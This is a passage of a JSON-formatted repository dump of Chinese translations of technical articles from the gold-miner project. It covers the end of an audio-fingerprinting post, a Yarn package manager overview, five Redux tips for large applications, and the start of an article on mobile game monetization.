我尝试用多线程和实时匹配，这注定不是 Python 的强项。等效的 Java 或 C/C++ 实现应该不难完成实时 FFT 和峰值查找的需求。\n\n重要的警告是，为了匹配数据的往返时间（RTT）。因为我的 MYSQL 实例是本地的，我不用处理无限传输造成的延迟。在计算总的用时时需要加上 RTT，但这不影响匹配的过程。\n\n## 性能：存储\n\n对于我提取了特征的 45 首歌，数据库用 377MB 的空间存了 5400 万个特征标示。为了比较，磁盘用量如下：\n\n| 音频文件类型       | 占用空间（MB） |\n| ------------ | -------- |\n| mp3          | 339      |\n| wav          | 1885     |\n| fingerprints | 377      |\n\n这是一个相当直接的在记录时间和存储空间之间的折衷。调整峰值的振幅阈值和数字指纹采集时的采样频率，可以增加指纹数量， 并以更多空间占用为代价换取更高的准确度。\n\n真的，数字指纹占用惊人的存储空间（比原始的 MP3 文件稍大）。这似乎令人震惊，直到你考虑到每首歌有成百上千，甚至有时成千上万条哈希值记录。我们已经把波形文件中的整个音频信号折衷成数字指纹占用的 20%。我们可以在五秒内非常可靠地匹配到歌曲，所以我们的空间／时间取舍似乎得到了回报。\n\n ## 结论\n\n当我第一次见到音频特征识别的时候，它似乎很神奇。但随着我们掌握一小部分信号处理和基础数学的知识之后，这其实是相当入门的领域。\n\n我希望每一个正在读这篇文章的人都去看下 Dejavu 项目，可以给我加 star，或者更好的是，fork 它。这是 Dejavu 的项目地址：\n\n> https://github.com/worldveil/dejavu\n\n如果你喜欢这篇博客，可以[分享给你的关注者 ](https://twitter.com/intent/tweet?url=http://willdrevo.com/fingerprinting-and-audio-recognition-with-python&text=Audio%20Fingerprinting%20with%20Python%20and%20Numpy&via=wddrevo)或者[在 Twitter 上关注我](https://twitter.com/itsdrevo)!\n\n"
  },
  {
    "path": "TODO/five-things-you-can-do-with-yarn.md",
    "content": "> * 原文地址：[5 things you can do with Yarn](https://auth0.com/blog/five-things-you-can-do-with-yarn/)\n* 原文作者：[Prosper Otemuyiwa](https://twitter.com/unicodeveloper?lang=en)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[jiakeqi](http://jiakeqi.cn)\n* 校对者：[bobmayuze](https://github.com/bobmayuze) [luoyaqifei](https://github.com/luoyaqifei)\n\n# 用 Yarn 你还能做这 5 件事 \n\n在 JavaScript 领域中有几个包管理器: **npm**，**bower**，**component**，和 **volo**，举个🌰。到本文为止，最受欢迎的包管理器是 **npm**。npm 客户端提供了对 npm 注册库中成千上万代码的访问。不久之前，Facebook 推出了一款名叫 **Yarn** 的包管理器，声称比现有的 npm 客户端更快，更可靠，更安全。在本文中，你将学会可以用 Yarn 做的五件事情。\n\n**Yarn** 是 一个由 Facebook 创建的新 JavaScript 包管理器。为开发者使用 JavaScript 开发 app 时提供了快速，高可用，并且安全的依赖管理。下面有可以用 Yarn 做的五件事情哦~\n\n## 1. 离线工作\n\nYarn 为你提供在离线模式下工作的能力。如果你在之前安装过一个包，你可以不依赖网络连接再次安装。下面是一个示例:\n\n当连接到网络时，我用Yarn 安装了两个包，如下:\n\n![Yarn init](https://cdn.auth0.com/blog/blog/yarn-int.png) <b>使用 yarn init 创建一个 package.json</b>\n\n![用 yarn 安装 express 和 jsonwebtoken 包](https://cdn.auth0.com/blog/blog/yarn-add-packages.png) <b>用 yarn 安装 express 和 jsonwebtoken 包</b>\n\n![安装完毕](https://cdn.auth0.com/blog/blog/yarn-completed-install.png) <b>安装完毕</b>\n\n安装完毕后。我会删除 <b>orijin</b> 目录下的 <b>node_modules</b> ，并断开网络连接，重新执行 Yarn。如下:\n\n![Yarn 离线安装了包](https://cdn.auth0.com/blog/blog/yarn-install-offline.png) <b>Yarn 离线安装了包</b>\n\n这就是 Yarn! 所有包都在不到两秒钟内重新安装。显然，Yarn 缓存了下载的每个包，所以不需要重复下载。它还通过并行化操作来最大化资源利用率，使安装时间比之前更快。\n\n## 2. 从多个注册表安装\n\nYarn 为你提供了从多个注册表安装 JavaScript 包的能力，如 [npm](https://www.npmjs.com/)，[bower](https://bower.io/)，你的 git 仓库，还有你的本地文件系统。\n\n默认情况下，它将为你的安装包扫描 npm 注册表，如下:\n\n    yarn add <pkg-name>\n\n从远程 gzip 压缩文件安装包，如下:\n\n    yarn add <https://thatproject.code/package.tgz>\n\n从你的本地文件系统安装包，如下:\n\n    yarn add file:/path/to/local/folder\n\n这对于不断发布 JavaScript 包的者格外有用。你可以利用这个特性，在发布到注册表之前测试这个包.\n\n从远程 git 仓库安装包，如下:\n\n    yarn add <git remote-url>\n\n![从一个 Github 仓库 安装 Yarn](https://cdn.auth0.com/blog/blog/yarn-add-gitrepo.png) <b>从一个 Github 仓库 安装 Yarn</b>\n\n![Yarn 检测 git 仓库作为软件包存在于 bower 注册表中](https://cdn.auth0.com/blog/blog/yarn-add-bowercomp.png) <b>Yarn 还自动检测到 git 仓库作为软件包存在于 bower 注册表中，并将其视为包</b>\n\n## 3. 快速获取安装包\n\n如果你使用 **npm** 有段时间了，肯定有这样的经历，当你去运行 `npm install` 时，然后去看电影，回来后检查你需要的所有包是否安装完毕。好吧，可能不是很久，但是它花了大量时间来遍历依赖关系树并拉入依赖关系。使用 Yarn，从以前的等待几分钟到在几秒钟内安装包，安装时间确实减少了。\n\nYarn 有效地对请求进行排队，并避免请求集中以最大化网络利用率。开始创建一个请求到注册表，并递归查找每个依赖，接下来，在全局缓存目录查看是否下载过这些包。如果没有，Yarn 会获取原始包，并将其放入全局缓存，以保证可以离线工作和无需重复安装。\n\n在安装过程中，Yarn 并行化操作，使安装过程更快速。我初次安装三个包，**jsonwebtoken**，**express** 和 **lodash**，使用 **npm** 和 **yarn**。<b>Yarn</b> 已经安装完毕了，<b>npm</b> 仍然在安装。\n\n![Yarn 和 Npm 的 对比](https://cdn.auth0.com/blog/blog/yarn-npm-compare.png)\n\n## 4. 自动锁定安装包版本\n\nNpm 有一个名为 **shrinkwrap** 的特性，其目的是在生产环境中使用时锁定包依赖。**shrinkwrap** 的挑战是每个开发者都必须手动运行 `npm shrinkwrap` 生成 `npm-shrinkwrap.json` 文件。人非圣贤，孰能无忘? \n\n使用 Yarn，则截然不同。在安装过程中，会自动生成一个 `yarn.lock` 文件。有点类似 PHP 开发者们所熟悉的 `composer.lock`。`yarn.lock` 锁定了安装包的精确版本以及所有依赖项。有了这个文件，你可以确定项目团队的每个成员都安装了精确的软件包版本，部署可以轻松地重现，且没有意外的 bug。\n\n## 5. 在不同的机器上以同样的方式安装依赖\n\n**npm client** 安装依赖的方式可能会导致 <b>开发者 A</b> `node_modules` 目录和 <b>开发者 B</b> 不同。它使用非确定性手段来安装这些包依赖。这种方式由于 <b>在个别的系统下</b> 可以工作，而不容易复现问题。\n\nYarn 锁定文件的和安装算法的存在，确保了将应用程序部署到生产环境时，安装的依赖在开发机器之间，产生的文件和文件夹结构完全相同。\n\n**注:** 还有一件事，我知道我讲了五件事，但是我几乎不能描述 **Yarn** 给我带来的感觉。企业环境需要能够列出依赖项的许可证类型。Yarn 提供了列出给定依赖关系的许可证类型的能力，在根目录中运行 `yarn licences ls`，如下:\n\n![Yarn Licenses](https://cdn.auth0.com/blog/licenses.png)\n\n## 总结\n\nYarn 在初期就已经带来了将 JavaScript 包从全局注册表提取到本地环境中显著的改进方式，特别是在速度和安全性方面。它会成为 JavaScript 开发者中最受欢迎的选择吗？你切换到 Yarn 了吗？你对 Yarn 有什么想法？欢迎在评论区讨论! 😹\n"
  },
  {
    "path": "TODO/five-tips-for-working-with-redux-in-large-applications.md",
    "content": "\n> * 原文地址：[Five Tips for Working with Redux in Large Applications](https://techblog.appnexus.com/five-tips-for-working-with-redux-in-large-applications-89452af4fdcb)\n> * 原文作者：[AppNexus Engineering](https://techblog.appnexus.com/@AppNexus.tech)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/five-tips-for-working-with-redux-in-large-applications.md](https://github.com/xitu/gold-miner/blob/master/TODO/five-tips-for-working-with-redux-in-large-applications.md)\n> * 译者：[loveky](https://github.com/loveky)\n> * 校对者：[stormrabbit](https://github.com/stormrabbit)\n\n# 在大型应用中使用 Redux 的五个技巧\n\n![](http://img20.360buyimg.com/uba/jfs/t5653/322/6027363778/85125/11c9a206/5967231dNdc56ee51.png)\n\nRedux 是一个很棒的用于管理应用程序“状态（state）”的工具。单向数据流以及对不可变数据的关注使得推断状态的变化变得很简单。每次状态变化都由一个 action 触发，这会导致 reducer 函数返回一个变更后的新状态。由于客户要在我们的平台上管理或发布广告资源，在 AppNexus 使用 Redux 创建的很多用户界面都需要处理大量数据以及非常复杂的交互。在开发这些界面的过程中，我们发现了一些有用的规则和技巧以维持 Redux 易于管理。以下的几点讨论应该可以帮助到任何在大型、数据密集型应用中使用 Redux 的开发者：\n\n- 第一点: 在存储和访问状态时使用索引和选择器\n- 第二点: 把数据对象，对数据对象的修改以及其它 UI 状态区分开\n- 第三点: 在单页应用的不同页面间共享数据，以及何时不该这么做\n- 第四点: 在状态中的不同节点复用通用的 reducer 函数\n- 第五点: 连接 React 组件与 Redux 状态的最佳实践\n\n### 1. 使用索引（index）保存数据，使用选择器（selector）读取数据\n\n选择正确的数据结构可以对程序的结构和性能产生很大影响。在存储来自 API 的可序列化数据时可以极大的受益于索引的使用。索引是指一个 JavaScript 对象，其键是我们要存储的数据对象的 id，其值则是这些数据对象自身。这种模式和使用 hashmap 存储数据非常类似，在查询效率方面也有相同的优势。这一点对于精通 Redux 的人来说不足为奇。实际上，Redux 的作者 Dan Abramov 在他的 [Redux 教程中](https://egghead.io/lessons/javascript-redux-persisting-the-state-to-the-local-storage)就推荐了这种数据结构。\n\n设想你有一组从 REST API 获取的数据对象，例如来自 `/users` 服务的数据。假设我们决定直接将这个普通数组原封不动地存储在状态中，就像它在响应中那样。当我们需要获取一个特定用户对象时会怎样呢？我们需要遍历状态中的所有用户。如果用户很多，这可能会是一个代价高昂的操作。如果我们想跟踪用户的一小部分，例如选中和未选中的用户呢？我们要么需要把数据保存在两个数组中，要么就要记录这些选中和未选中用户在主数组中的索引（译者注：此处指的是普通意义上的数组索引）。\n\n然而，我们决定重构代码改用索引的方式存储数据。我们可以在 reducer 中以如下的方式存储数据：\n\n```javascript\n{\n \"usersById\": {\n    123: {\n      id: 123,\n      name: \"Jane Doe\",\n      email: \"jdoe@example.com\",\n      phone: \"555-555-5555\",\n      ...\n    },\n    ...\n  }\n}\n```\n\n那么这种数据结构到底是如何帮助我们解决以上问题的呢？如果要查找一个特定用户，你可以直接用 `const user = state.usersById[userId]` 读取状态。这种方式不需要我们遍历整个列表，节省时间的同时简化了代码。\n\n此时你可能会好奇我们如何通过这种数据结构来展示一个简单的用户列表呢。为此，我们需要使用一个选择器，它是一个接收状态并返回所需数据的函数。一个简单的例子是一个返回状态中所有用户的函数：\n\n```javascript\nconst getUsers = ({ usersById }) => {\n  return Object.keys(usersById).map((id) => usersById[id]);\n}\n```\n\n在我们的视图代码中，我们调用该方法以获取用户列表。然后就可以遍历这些用户生成视图了。我们可以创建另一个函数用于从状态中获取指定用户：\n\n```javascript\nconst getSelectedUsers = ({ selectedUserIds, usersById }) => {\n  return selectedUserIds.map((id) => usersById[id]);\n}\n```\n\n选择器模式还同时增加了代码的可维护性。设想以后我们想要改变状态的结构。在不使用选择器的情况下，我们不得不更新所有的视图代码以适应新的状态结构。随着视图组件的增多，修改状态结构的负担会急剧增加。为了避免这种情况，我们在视图中通过选择器读取状态。即使底层的状态结构发生了改变，我们也只需要更新选择器。所有依赖状态的组件仍将可以获取它们的数据，我们也不必更新它们。出于所有这些原因，大型 Redux 应用将受益于索引与选择器数据存储模式。\n\n### 2. 将标准状态与视图状态、编辑状态分隔开\n\n现实中的 Redux 应用通常需要从一些服务（例如一个 REST API）读取数据。在收到数据以后，我们发送一个包含了收到的数据的 action。我们把这些从服务返回的数据称为“标准状态” —— 即当前在我们数据库中存储的数据的正确状态。我们的状态还包含其他类型的数据，例如用户界面组件的状态或是整个应用程序的状态。当首次从 API 读取到标准状态时，我们可能会想将其与页面的其他状态保存在同一个 reducer 文件中。这种方式可能很省事，但当你需要从不同数据源获取多种数据时，它就会变得难以扩展。\n\n相反，我们会把标准状态保存在它单独的 reducer 文件中。这会促使你编写组织更加良好、更加模块化的代码。垂直扩展 reducer（增加代码行数）比水平扩展 reducer（在 `combineReducers` 调用中引入更多的 reducer）的可维护性要差。将 reducers 拆分到各自的文件中有利于复用这些 reducer（在第三点中会详细讨论）。此外，这还可以阻止开发者将非标准状态添加到数据对象 reducer 中。\n\n为什么不把其他类型的状态和标准状态保存在一起呢？假设我们像第一部分一样从 REST API 获得一组用户数据。利用索引存储模式，我们会像下面这样将其存储在 reducer 中：\n\n```\n{\n \"usersById\": {\n    123: {\n      id: 123,\n      name: \"Jane Doe\",\n      email: \"jdoe@example.com\",\n      phone: \"555-555-5555\",\n      ...\n    },\n    ...\n  }\n}\n```\n\n现在假设我们的界面允许编辑用户信息。当点击某个用户的编辑图标时，我们需要更新状态，以便视图呈现出该用户的编辑控件。我们决定在 `users/by-id` 索引中存储的数据对象上新增一个字段，而不是分开存储视图状态和标准状态。现在我们的状态看起来是这个样子：\n\n```\n{\n \"usersById\": {\n    123: {\n      id: 123,\n      name: \"Jane Doe\",\n      email: \"jdoe@example.com\",\n      phone: \"555-555-5555\",\n      ...\n      isEditing: true,\n    },\n    ...\n  }\n}\n```\n\n我们进行了一些修改，点击提交按钮，改动以 PUT 形式提交回 REST 服务。服务返回了该用户最新的状态。可是我们该如何将最新的标准状态合并到 store 呢？如果我们直接把新对象存储到 `users/by-id` 索引中对应的 id 下，那么 `isEditing` 标记就会丢失。我们不得不手动指定来自 API 的数据中哪些字段需要存储到 store 中。这使得更新逻辑变得复杂。你可能要追加多个布尔、字符串、数组或其他类型的新字段到标准状态中以维护视图状态。这种情况下，当新增一个 action 修改标准状态时很容易由于忘记重置这些 UI 字段而导致无效的状态。相反，我们在 reducer 中应该将标准状态保存在其独立的数据存储中，并保持我们的 action 更简单，更容易理解。\n\n将编辑状态分开保存的另一个好处是如果用户取消编辑我们可以很方便的重置回标准状态。假设我们点击了某个用户的编辑图标，并修改了该用户的姓名和电子邮件地址。现在假设我们不想保存这些修改，于是我们点击取消按钮。这应该导致我们在视图中做的修改恢复到之前的状态。然而，由于我们用编辑状态覆盖了标准状态，我们已经没有旧状态的数据了。我们不得不再次请求 REST API 以获取标准状态。相反，让我们把编辑状态分开存储。现在我们的状态看起来是这个样子：\n\n```\n{\n \"usersById\": {\n    123: {\n      id: 123,\n      name: \"Jane Doe\",\n      email: \"jdoe@example.com\",\n      phone: \"555-555-5555\",\n      ...\n    },\n    ...\n  },\n  \"editingUsersById\": {\n    123: {\n      id: 123,\n      name: \"Jane Smith\",\n      email: \"jsmith@example.com\",\n      phone: \"555-555-5555\",\n    }\n  }\n}\n```\n\n由于我们同时拥有该对象在编辑状态和标准状态下的两个副本，在点击取消后重置状态变得很简单。我们只需在视图中展示标准状态而不是编辑状态即可，不必再次调用 REST API。作为奖励，我们仍然在 store 中跟踪着数据的编辑状态。如果我们决定确实需要保留这些更改，我们可以再次点击编辑按钮，此时之前的修改状态就又可以展示出来了。总之，把编辑状态和视图状态与标准状态区分开保存既在代码组织和可维护性方面提供了更好的开发体验，又在表单操作方面提供了更好的用户体验。\n\n### 3. 合理地在视图之间共享状态\n\n许多应用起初都只有一个 store 和一个用户界面。随着我们为了扩展功能而不断扩展应用，我们将要管理多个不同视图和 store 之间的状态。为每个页面创建一个顶层 reducer 可能有助于扩展我们的 Redux 应用。每个页面和顶层 reducer 对应我们应用中的一个视图。例如，用户页面会从 API 获取用户信息并存储在 `users` reducer 中，而另一个为当前用户展示域名信息的页面会从域名 API 存取数据。此时的状态看起来会是如下结构：\n\n```\n{\n  \"usersPage\": {\n    \"usersById\": {...},\n    ...\n  },\n  \"domainsPage\": {\n    \"domainsById\": {...},\n    ...\n  }\n}\n```\n\n像这样组织页面有助于保持这些页面背后的数据之间的解耦与独立。每个页面跟踪各自的状态，我们的 reducer 文件甚至可以和视图文件保存在相同位置。随着我们不断扩展应用程序，我们可能会发现需要在两个视图之间共享一些状态。在考虑共享状态时，请思考以下几个问题：\n\n- 有多少视图或者其他 reducer 依赖此部分数据？\n- 每个页面是否都需要这些数据的副本？\n- 这些数据的改动有多频繁？\n\n例如，我们的应用在每个页面都要展示一些当前登录用户的信息。我们需要从 API 获取用户信息并保存在 reducer 中。我们知道每个页面都会依赖于这部分数据，所以它似乎并不符合我们每个页面对应一个 reducer 的策略。我们清楚没必要为每个页面准备一份这部分数据的副本，因为绝大多数页面都不会获取其他用户或编辑当前用户。此外，当前登录用户的信息也不太会改变，除非客户在用户页面编辑自己的信息。\n\n在页面之间共享当前用户信息似乎是个好办法，于是我们把这部分数据提升到专属于它的、单独保存的顶层 reducer 中。现在，用户首次访问的页面会检查当前用户信息是否加载，如果未加载则调用 API 获取信息。任何连接到 Redux 的视图都可以访问到当前登录用户的信息。\n\n不适合共享状态的情况又如何呢？让我们考虑另一种情况。设想用户名下的每一个域名还包含一系列子域名。我们增加了一个子域名页面用以展示某个用户名下的全部子域名。域名页面也有一个选项用以展示该域名下的子域名。现在我们有两个页面同时依赖于子域名数据。我们还知道域名信息可能会频繁改动 —— 用户可能会在任何时间增加、删除或是编辑域名与子域名。每个页面也可能需要它自己的数据副本。子域名页面允许通过子域名 API 读取和写入数据，可能还会需要对数据进行分页。而域名页面每次只需要获取子域名的一个子集（某个特定域名的子域名）。很明显，在这些视图间共享子域名数据并不妥当。每个页面应该单独保存其子域名数据。\n\n### 4. 在状态之间复用 reducer 函数\n\n在编写了一些 reducer 函数之后，我们可能想要在状态中的不同节点间复用 reducer 逻辑。例如，我们可能会创建一个用于从 API 读取用户信息的 reducer。该 API 每次返回 100 个用户，然而我们的系统中可能有成千上万的用户。要解决该问题，我们的 reducer 还需要记录当前正在展示哪一页。我们的读取逻辑需要访问 reducer 以确定下一次 API 请求的分页参数（例如 `page_number`）。之后当我们需要读取域名列表时，我们最终会写出几乎完全相同的逻辑来读取和存储域名信息，只不过 API 和数据结构不同罢了。\n\n在 Redux 中复用 reducer 逻辑可能会有点棘手。默认情况下，当触发一个 action 时所有的 reducer 都会被执行。如果我们在多个 reducer 函数中共享一个 reducer 函数，那么当触发一个 action 时所有这些 reducer 都会被调用。然而这并不是我们想要的结果。当我们读取用户得到总数是 500 时，我们不想域名的 `count` 也变成 500。\n\n我们推荐两种不同的方式来解决此问题，利用特殊作用域（scope）或是类型前缀（prefix）。第一种方式涉及到在 action 传递的数据中增加一个类型信息。这个 action 会利用该类型来决定该更新状态中的哪个数据。为了演示该方法，假设我们有一个包含多个模块的页面，每个模块都是从不同 API 异步加载的。我们跟踪加载过程的状态可能会像下面这样：\n\n```\nconst initialLoadingState = {\n  usersLoading: false,\n  domainsLoading: false,\n  subDomainsLoading: false,\n  settingsLoading: false,\n};\n```\n\n有了这样的状态，我们就需要设置各模块加载状态的 reducer 和 action。我们可能会用 4 种 action 类型写出 4 个不同的 reducer 函数 —— 每个 action 都有它自己的 action 类型。这就造成了很多重复代码！相反，让我们尝试使用一个带作用域的 reducer 和 action。我们只创建一种 action 类型 `SET_LOADING` 以及一个 reducer 函数：\n\n```\nconst loadingReducer = (state = initialLoadingState, action) => {\n  const { type, payload } = action;\n  if (type === SET_LOADING) {\n    return Object.assign({}, state, {\n      // 在此作用域内设置加载状态\n      [`${payload.scope}Loading`]: payload.loading,\n    });\n  } else {\n    return state;\n  }\n}\n```\n\n我们还需要一个支持作用域的 action 生成器来调用我们带作用域的 reducer。这个 action 生成器看起来是这个样子：\n\n```\nconst setLoading = (scope, loading) => {\n  return {\n    type: SET_LOADING,\n    payload: {\n      scope,\n      loading,\n    },\n  };\n}\n// 调用示例\nstore.dispatch(setLoading('users', true));\n```\n\n通过像这样使用一个带作用域的 reducer，我们消除了在多个 action 和 reducer 函数间重复 reducer 逻辑的必要。这极大的减少了代码重复度同时有助于我们编写更小的 action 和 reducer 文件。如果我们需要在视图中新增一个模块，我们只需在初始状态中新增一个字段并在调用 `setLoading` 时传入一个新的作用域类型即可。当我们有几个相似的字段以相同的方式更新时，此方案非常有效。\n\n有时我们还需要在 state 中的多个节点间共享 reducer 逻辑。我们需要一个可以通过 `combineReducers` 在状态中不同节点多次使用的 reducer 函数，而不是在状态中的某一个节点利用一个 reducer 与 action 来维护多个字段。这个 reducer 会通过调用一个 reducer 工厂函数生成，该工厂函数会返回一个添加了类型前缀的 reducer 函数。\n\n复用 reducer 逻辑的一个绝佳例子就是分页信息。回到之前读取用户信息的例子，我们的 API 可能包含成千上万的用户信息。我们的 API 很可能会提供一些信息用于在多页用户之间进行分页。我们收到的 API 响应也许是这样的：\n\n```\n{\n  \"users\": ...,\n  \"count\": 2500, // API 中包含的用户总量\n  \"pageSize\": 100, // 接口每一页返回的用户数量\n  \"startElement\": 0, // 此次响应中第一个用户的索引\n  ]\n}\n```\n\n如果我们想要读取下一页数据，我们会发送一个带有 `startElement=100` 查询参数的 GET 请求。我们可以为每一个 API 都编写一个 reducer 函数，但这样会在代码中产生大量的重复逻辑。相反，我们要创建一个独立的分页 reducer。这个 reducer 会由一个接收前缀类型为参数并返回一个新 reducer 的 reducer 工厂生成：\n\n```\nconst initialPaginationState = {\n  startElement: 0,\n  pageSize: 100,\n  count: 0,\n};\nconst paginationReducerFor = (prefix) => {\n  const paginationReducer = (state = initialPaginationState, action) => {\n    const { type, payload } = action;\n    switch (type) {\n      case prefix + types.SET_PAGINATION:\n        const {\n          startElement,\n          pageSize,\n          count,\n        } = payload;\n        return Object.assign({}, state, {\n          startElement,\n          pageSize,\n          count,\n        });\n      default:\n        return state;\n    }\n  };\n  return paginationReducer;\n};\n// 使用示例\nconst usersReducer = combineReducers({\n  usersData: usersDataReducer,\n  paginationData: paginationReducerFor('USERS_'),\n});\nconst domainsReducer = combineReducers({\n  domainsData: domainsDataReducer,\n  paginationData: paginationReducerFor('DOMAINS_'),\n});\n```\n\nreducer 工厂函数 `paginationReducerFor` 接收一个前缀类型作为参数，此参数将作为该 reducer 匹配的所有 action 类型的前缀使用。这个工厂函数会返回一个新的、已经添加了类型前缀的 reducer。现在，当我们发送一个 `USERS_SET_PAGINATION` 类型的 action 时，它只会触发维护用户分页信息的 reducer 更新。域名分页信息的 reducer 则不受影响。这允许我们有效地在 store 中复用通用 reducer 函数。为了完整起见，以下是一个配合我们的 reducer 工厂使用的 action 生成器工厂，同样使用了前缀：\n\n```\nconst setPaginationFor = (prefix) => {\n  const setPagination = (response) => {\n    const {\n      startElement,\n      pageSize,\n      count,\n    } = response;\n    return {\n      type: prefix + types.SET_PAGINATION,\n      payload: {\n        startElement,\n        pageSize,\n        count,\n      },\n    };\n  };\n  return setPagination;\n};\n// 使用示例\nconst setUsersPagination = setPaginationFor('USERS_');\nconst setDomainsPagination = setPaginationFor('DOMAINS_');\n```\n\n### 5. React 集成与包装\n\n有些 Redux 应用可能永远都不需要向用户呈现一个视图（如 API），但大多数时间你都会想把数据渲染到某种形式的视图中。配合 Redux 渲染页面最流行的库是 React，我们也将使用它演示如何与 Redux 集成。我们可以利用在前几点中学到的策略简化我们创建视图代码的过程。为了实现集成，我们要用到 `react-redux` [库](https://github.com/reactjs/react-redux)。这里就是将状态中的数据映射到你组件的 props 的地方。\n\n在 UI 集成方面一个有用的模式是在视图组件中使用选择器访问状态中的数据。在 `react-redux` 中的 `mapStateToProps` 函数中使用选择器很方便。该函数会在调用 `connect` 方法（该方法用于将你的 React 组件连接到 Redux store）时作为参数传入。这里是使用选择器从状态中获取数据并通过 props 传递给组件的绝佳位置。以下是一个集成的例子：\n\n```\nconst ConnectedComponent = connect(\n  (state) => {\n    return {\n      users: selectors.getCurrentUsers(state),\n      editingUser: selectors.getEditingUser(state),\n      ... // 其它来自状态的 props\n    };\n  }),\n  mapDispatchToProps // 另一个 connect 函数\n)(UsersComponent);\n```\n\nReact 与 Redux 之间的集成也提供了一个方便的位置来封装我们按作用域或类型创建的 action。我们必须连接我们组件的事件处理函数，以便在调用 store 的 dispatch 方法时使用我们的 action 生成器。要在 `react-redux` 中实现这一点，我们要使用 `mapDispatchToProps` 函数，它也会在调用 `connect` 方法时作为参数传入。这个 `mapDispatchToProps` 方法就是通常我们调用 Redux 的 `bindActionCreators` 方法将每个 action 和 store 的 dispatch 方法绑定的地方。在我们这样做的时候，我们也可以像在第四点中那样把作用域绑定到 action 上。例如，如果我们想在用户页面使用带作用域的 reducer 模式的分页功能，我们可以这样写：\n\n```\nconst ConnectedComponent = connect(\n  mapStateToProps,\n  (dispatch) => {\n    const actions = {\n      ...actionCreators, // other normal actions\n      setPagination: actionCreatorFactories.setPaginationFor('USERS_'),\n    };\n    return bindActionCreators(actions, dispatch);\n  }\n)(UsersComponent);\n```\n\n现在，从我们 `UsersPage` 组件的角度看来，它只接收一个用户列表、状态的一部分以及绑定过的 action 生成器作为props。组件不需要知道它需要使用哪个作用域的 action 也不需要知道如何访问状态；我们已经在集成层面处理了这些问题。这使得我们可以创建一些非常独立的组件，它们并不依赖于状态内部的细节。希望通过遵循本文讨论的模式，我们都可以以一种可扩展的、可维护的、合理的方式开发 Redux 应用。\n\n**延伸阅读：**\n\n- [Redux](http://redux.js.org/) 本文讨论的状态管理库\n- [Reselect](https://github.com/reactjs/reselect) 一个用于创建选择器的库\n- [Normalizr](https://github.com/paularmstrong/normalizr) 一个用于根据模式规范 JSON 数据的库，有助于在索引中存储数据\n- [Redux-Thunk](https://github.com/gaearon/redux-thunk) 一个用于处理 Redux 中异步 action 的中间件\n- [Redux-Saga](https://github.com/redux-saga/redux-saga) 另一个利用 ES2016 生成器处理异步 action 的中间件\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/five-tips-to-improve-your-games-as-a-service-monetization.md",
    "content": "> * 原文地址：[Five tips to improve your games-as-a-service monetization](https://medium.com/googleplaydev/five-tips-to-improve-your-games-as-a-service-monetization-1a99cccdf21)\n> * 原文作者：[Moonlit Beshimov](https://medium.com/@moonlit_b?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/five-tips-to-improve-your-games-as-a-service-monetization.md](https://github.com/xitu/gold-miner/blob/master/TODO/five-tips-to-improve-your-games-as-a-service-monetization.md)\n> * 译者：[PTHFLY](http://github.com/pthtc)\n> * 校对者：[NeoyeElf](https://github.com/NeoyeElf)\n\n# 游戏即服务的五条建议，提升游戏变现能力\n\n## 不赶走玩家的情况下提升收入的实用建议\n\n![](https://cdn-images-1.medium.com/max/800/0*hsST-E5US6caYOgf.)\n\n在当今世界移动端的游戏即服务，想搞清楚玩家的生命周期价值（ LTV ）变得非常复杂。与传统主机游戏不同，现在的收入并非由单次购买，而是许多微小的交易组成的。然而，即使没有一个精确的统计模型，你也能意识到一个玩家在你的游戏中花的时间越多，就会花掉更多的钱和产生更高的生命周期价值。\n\n然而，我总是被移动游戏开发者问『我们如何才能在不赶走玩家的情况下提升收入呢？』往往我会建议他们遵循以下这 5 条最佳实践其中之一：\n\n![](https://cdn-images-1.medium.com/max/800/0*-TVBHI4t0wgAg5Jd.)\n\n**1. 收集与生命周期价值有重要正向关联的用户行为指标**\n\n了解你的游戏该如何与行业平均水平相竞争是很重要的。有一个给力的报告计划会帮你发现游戏的改善是如何影响玩家的。与玩家生命周期价值最相关的重要评价指标如下：\n\n* **第 1 ， 7 ， 30 天留存** 是用户安装后第 X 天回归的比例。这些能衡量你留存用户的能力，也因此能衡量休闲玩家被转化为忠实玩家的程度。\n* **上线时长和频次** 根据用户在你游戏上花费的时间和访问的频繁程度衡量了平均用户参与度。\n* **重要里程碑完成率** 可以衡量和定位流失。\n* **购买者和重复购买者转化** 衡量你的游戏能把多少人转化为购买者和更高价值的重复购买者。通常来说反复购买者是你最具价值的用户群。\n\n例如，当观察不同游戏类型的 30 天留存时，通常我们会发现：\n\n* 休闲: 18~23%\n* 中度硬核: 14~18%\n* 硬核: 10~14%\n\n![](https://cdn-images-1.medium.com/max/800/0*05Iz6B7rIIe5VWXR.)\n\n[不同游戏分类的 30 天留存]\n\n如果你没有实现接近行业平均水平，你需要专心提高你游戏中基于留存的长期参与度。\n\n对于其他游戏类型，你可以在 Acquisition reports 下的 Play Console 里找到行业平均水平的更多细节。\n\n![](https://cdn-images-1.medium.com/max/800/0*FyWZeognksuw5xyl.)\n\n**2. 优化长期参与度和取悦你最好的玩家**\n\n留存是优秀和平庸第一分水岭。在用户生命周期持续拥有更高留存比例的游戏能够更好地变现。留存为王，尤其是**长期留存必须优先考虑。**\n\n![](https://cdn-images-1.medium.com/max/800/0*zuHQR1AFND-kYyPu.)\n\n[说明: 顶级应用和游戏的玩家留存]\n\n专注实现一个有效的玩家 30 天留存目标，但同时**也要为这 30 天之后做考虑**。通过评估以下的比例来衡量长期留存： 30 天到 60 天， 30 天到 90 天， 30 天到 180 